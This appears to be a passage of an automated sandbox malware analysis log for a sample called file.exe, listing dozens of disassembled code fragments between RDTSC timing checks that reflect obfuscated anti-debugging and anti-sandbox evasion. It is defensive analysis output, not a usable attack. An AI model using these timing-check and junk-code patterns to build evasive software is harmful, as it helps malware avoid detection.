                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50F050B second address: 50F054B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A14B6C83Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f pushfd 0x00000010 jmp 00007F5A14B6C841h 0x00000015 sbb eax, 46C32586h 0x0000001b jmp 00007F5A14B6C841h 0x00000020 popfd 0x00000021 popad 0x00000022 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50F054B second address: 50F0551 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50F0551 second address: 50F0561 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50F0561 second address: 50F0565 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50F0565 second address: 50F056B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50C0661 second address: 50C06C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5A147D6A2Fh 0x00000008 mov ch, 56h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push ebp 0x0000000e jmp 00007F5A147D6A30h 0x00000013 mov dword ptr [esp], ebp 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F5A147D6A2Eh 0x0000001d sbb cx, 6228h 0x00000022 jmp 00007F5A147D6A2Bh 0x00000027 popfd 0x00000028 mov ecx, 713A7B1Fh 0x0000002d popad 0x0000002e mov ebp, esp 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007F5A147D6A2Ch 0x00000039 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50C06C5 second address: 50C06C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50C06C9 second address: 50C06CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50A0763 second address: 50A077C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 mov bx, 730Eh 0x0000000d mov esi, edx 0x0000000f popad 0x00000010 xchg eax, ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 mov dh, al 0x00000016 mov al, bl 0x00000018 popad 0x00000019 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50A077C second address: 50A0799 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A147D6A31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50A0799 second address: 50A079D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50A079D second address: 50A07B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A147D6A2Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50C01D4 second address: 50C01D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50C01D8 second address: 50C01EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A147D6A2Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50C01EB second address: 50C0200 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F5A14B6C83Fh 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50C0200 second address: 50C020E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50C020E second address: 50C0212 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50C0212 second address: 50C0223 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A147D6A2Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50C0223 second address: 50C0241 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, ax 0x00000006 movzx eax, bx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F5A14B6C83Dh 0x00000016 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50C0241 second address: 50C0245 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50C0245 second address: 50C024B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50C024B second address: 50C0265 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A147D6A2Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov esi, ebx 0x00000010 push edx 0x00000011 pop ecx 0x00000012 popad 0x00000013 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50C0265 second address: 50C026A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50C049F second address: 50C0536 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F5A147D6A2Fh 0x00000009 or esi, 681DE58Eh 0x0000000f jmp 00007F5A147D6A39h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007F5A147D6A30h 0x0000001b jmp 00007F5A147D6A35h 0x00000020 popfd 0x00000021 popad 0x00000022 pop edx 0x00000023 pop eax 0x00000024 pop ebp 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 pushfd 0x00000029 jmp 00007F5A147D6A33h 0x0000002e add cx, E8FEh 0x00000033 jmp 00007F5A147D6A39h 0x00000038 popfd 0x00000039 pushad 0x0000003a popad 0x0000003b popad 0x0000003c rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50E08CB second address: 50E08F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A14B6C83Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, ebp 0x0000000b jmp 00007F5A14B6C840h 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50E08F2 second address: 50E08F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50E08F8 second address: 50E0960 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A14B6C83Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F5A14B6C846h 0x0000000f mov ebp, esp 0x00000011 pushad 0x00000012 mov bl, cl 0x00000014 mov eax, edx 0x00000016 popad 0x00000017 push esi 0x00000018 jmp 00007F5A14B6C842h 0x0000001d mov dword ptr [esp], ecx 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 mov esi, edi 0x00000025 call 00007F5A14B6C849h 0x0000002a pop eax 0x0000002b popad 0x0000002c rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50E0960 second address: 50E0966 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50E0966 second address: 50E096A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50E096A second address: 50E097D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [775165FCh] 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50E097D second address: 50E0981 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50E0981 second address: 50E0987 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50E0987 second address: 50E09B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop edx 0x00000005 mov ecx, 08AFCDF1h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d test eax, eax 0x0000000f pushad 0x00000010 mov dl, cl 0x00000012 movsx edx, cx 0x00000015 popad 0x00000016 je 00007F5A86F1F7FFh 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f mov edx, 57C9725Eh 0x00000024 mov edi, 2CB6566Ah 0x00000029 popad 0x0000002a rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50E09B1 second address: 50E09CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5A147D6A37h 0x00000009 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50E09CC second address: 50E09D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50E09D0 second address: 50E09E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov ebx, ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50E09E1 second address: 50E09E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50E09E6 second address: 50E09FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5A147D6A34h 0x00000009 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50E09FE second address: 50E0A8B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A14B6C83Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xor eax, dword ptr [ebp+08h] 0x0000000e jmp 00007F5A14B6C83Fh 0x00000013 and ecx, 1Fh 0x00000016 jmp 00007F5A14B6C846h 0x0000001b ror eax, cl 0x0000001d pushad 0x0000001e mov dl, ch 0x00000020 mov ax, di 0x00000023 popad 0x00000024 leave 0x00000025 pushad 0x00000026 mov dh, D4h 0x00000028 pushfd 0x00000029 jmp 00007F5A14B6C83Ch 0x0000002e sbb eax, 2CD48CA8h 0x00000034 jmp 00007F5A14B6C83Bh 0x00000039 popfd 0x0000003a popad 0x0000003b retn 0004h 0x0000003e nop 0x0000003f mov esi, eax 0x00000041 lea eax, dword ptr [ebp-08h] 0x00000044 xor esi, dword ptr [00422014h] 0x0000004a push eax 0x0000004b push eax 0x0000004c push eax 0x0000004d lea eax, dword ptr [ebp-10h] 0x00000050 push eax 0x00000051 call 00007F5A1986D2B0h 0x00000056 push FFFFFFFEh 0x00000058 pushad 0x00000059 mov edx, eax 0x0000005b mov bh, al 0x0000005d popad 0x0000005e pop eax 0x0000005f push eax 0x00000060 push edx 0x00000061 jmp 00007F5A14B6C846h 0x00000066 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50E0A8B second address: 50E0A91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50E0A91 second address: 50E0ADD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A14B6C83Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b ret 0x0000000c nop 0x0000000d push eax 0x0000000e call 00007F5A1986D2E4h 0x00000013 mov edi, edi 0x00000015 pushad 0x00000016 mov edi, esi 0x00000018 jmp 00007F5A14B6C848h 0x0000001d popad 0x0000001e xchg eax, ebp 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F5A14B6C847h 0x00000026 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50E0ADD second address: 50E0B40 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F5A147D6A2Fh 0x00000009 add eax, 35A062BEh 0x0000000f jmp 00007F5A147D6A39h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007F5A147D6A30h 0x0000001b sub ax, C3B8h 0x00000020 jmp 00007F5A147D6A2Bh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 push eax 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d mov si, 0501h 0x00000031 mov dl, al 0x00000033 popad 0x00000034 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50E0B40 second address: 50E0B53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5A14B6C83Fh 0x00000009 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50E0B53 second address: 50E0B57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50E0B57 second address: 50E0B70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a movsx edi, si 0x0000000d mov ecx, 1C0DCD63h 0x00000012 popad 0x00000013 mov ebp, esp 0x00000015 pushad 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50E0B70 second address: 50E0BD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movzx eax, bx 0x00000007 popad 0x00000008 pushad 0x00000009 jmp 00007F5A147D6A33h 0x0000000e pushfd 0x0000000f jmp 00007F5A147D6A38h 0x00000014 or esi, 3D03D208h 0x0000001a jmp 00007F5A147D6A2Bh 0x0000001f popfd 0x00000020 popad 0x00000021 popad 0x00000022 pop ebp 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F5A147D6A35h 0x0000002a rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5090024 second address: 509007B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A14B6C849h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F5A14B6C83Eh 0x0000000f push eax 0x00000010 jmp 00007F5A14B6C83Bh 0x00000015 xchg eax, ebp 0x00000016 jmp 00007F5A14B6C846h 0x0000001b mov ebp, esp 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 509007B second address: 509007F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 509007F second address: 509009C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A14B6C849h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 509009C second address: 50900AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5A147D6A2Ch 0x00000009 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50900AC second address: 509012D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A14B6C83Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b and esp, FFFFFFF8h 0x0000000e pushad 0x0000000f push eax 0x00000010 movsx edi, si 0x00000013 pop eax 0x00000014 movsx edi, ax 0x00000017 popad 0x00000018 xchg eax, ecx 0x00000019 jmp 00007F5A14B6C844h 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 pushfd 0x00000023 jmp 00007F5A14B6C83Ch 0x00000028 sbb ecx, 7AFF6EC8h 0x0000002e jmp 00007F5A14B6C83Bh 0x00000033 popfd 0x00000034 pushfd 0x00000035 jmp 00007F5A14B6C848h 0x0000003a adc ax, F128h 0x0000003f jmp 00007F5A14B6C83Bh 0x00000044 popfd 0x00000045 popad 0x00000046 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 509012D second address: 5090142 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F5A147D6A2Fh 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5090142 second address: 5090165 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F5A14B6C847h 0x00000011 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5090165 second address: 5090182 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A147D6A39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5090182 second address: 509019E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A14B6C841h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 509019E second address: 50901A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50901A2 second address: 50901A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50901A6 second address: 50901AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50901AC second address: 50901E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F5A14B6C840h 0x00000008 pop eax 0x00000009 push edi 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 call 00007F5A14B6C849h 0x00000017 pop ecx 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50901E6 second address: 5090263 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A147D6A2Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F5A147D6A2Eh 0x00000011 sub ch, 00000068h 0x00000014 jmp 00007F5A147D6A2Bh 0x00000019 popfd 0x0000001a call 00007F5A147D6A38h 0x0000001f mov ah, A2h 0x00000021 pop edx 0x00000022 popad 0x00000023 mov ebx, dword ptr [ebp+10h] 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 call 00007F5A147D6A2Fh 0x0000002e pop eax 0x0000002f call 00007F5A147D6A39h 0x00000034 pop ecx 0x00000035 popad 0x00000036 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5090263 second address: 5090269 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5090269 second address: 509026D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 509026D second address: 50902E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 jmp 00007F5A14B6C844h 0x0000000e push eax 0x0000000f jmp 00007F5A14B6C83Bh 0x00000014 xchg eax, esi 0x00000015 pushad 0x00000016 mov ecx, 1C02320Bh 0x0000001b mov ebx, esi 0x0000001d popad 0x0000001e mov esi, dword ptr [ebp+08h] 0x00000021 pushad 0x00000022 pushfd 0x00000023 jmp 00007F5A14B6C848h 0x00000028 xor ecx, 16EAEB48h 0x0000002e jmp 00007F5A14B6C83Bh 0x00000033 popfd 0x00000034 mov esi, 4ACEC2BFh 0x00000039 popad 0x0000003a xchg eax, edi 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F5A14B6C83Ch 0x00000044 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50902E6 second address: 50902F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A147D6A2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50902F5 second address: 5090383 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A14B6C849h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F5A14B6C841h 0x0000000f xchg eax, edi 0x00000010 jmp 00007F5A14B6C83Eh 0x00000015 test esi, esi 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007F5A14B6C83Eh 0x0000001e or ax, 1598h 0x00000023 jmp 00007F5A14B6C83Bh 0x00000028 popfd 0x00000029 jmp 00007F5A14B6C848h 0x0000002e popad 0x0000002f je 00007F5A86F6AADCh 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007F5A14B6C83Ah 0x0000003e rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5090383 second address: 5090387 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5090387 second address: 509038D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 509038D second address: 5090401 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A147D6A2Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000010 jmp 00007F5A147D6A30h 0x00000015 je 00007F5A86BD4C9Bh 0x0000001b pushad 0x0000001c mov si, DC5Dh 0x00000020 pushad 0x00000021 pushfd 0x00000022 jmp 00007F5A147D6A38h 0x00000027 or al, FFFFFFE8h 0x0000002a jmp 00007F5A147D6A2Bh 0x0000002f popfd 0x00000030 mov ebx, ecx 0x00000032 popad 0x00000033 popad 0x00000034 mov edx, dword ptr [esi+44h] 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007F5A147D6A2Ch 0x00000040 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5090401 second address: 5090410 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A14B6C83Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5090410 second address: 509046A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A147D6A39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 or edx, dword ptr [ebp+0Ch] 0x0000000c jmp 00007F5A147D6A2Eh 0x00000011 test edx, 61000000h 0x00000017 pushad 0x00000018 call 00007F5A147D6A2Eh 0x0000001d mov ax, 9AA1h 0x00000021 pop ecx 0x00000022 mov ebx, 4F33B752h 0x00000027 popad 0x00000028 jne 00007F5A86BD4C50h 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 509046A second address: 509046E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 509046E second address: 5090474 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5090474 second address: 5090490 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5A14B6C848h 0x00000009 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5090490 second address: 5090494 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
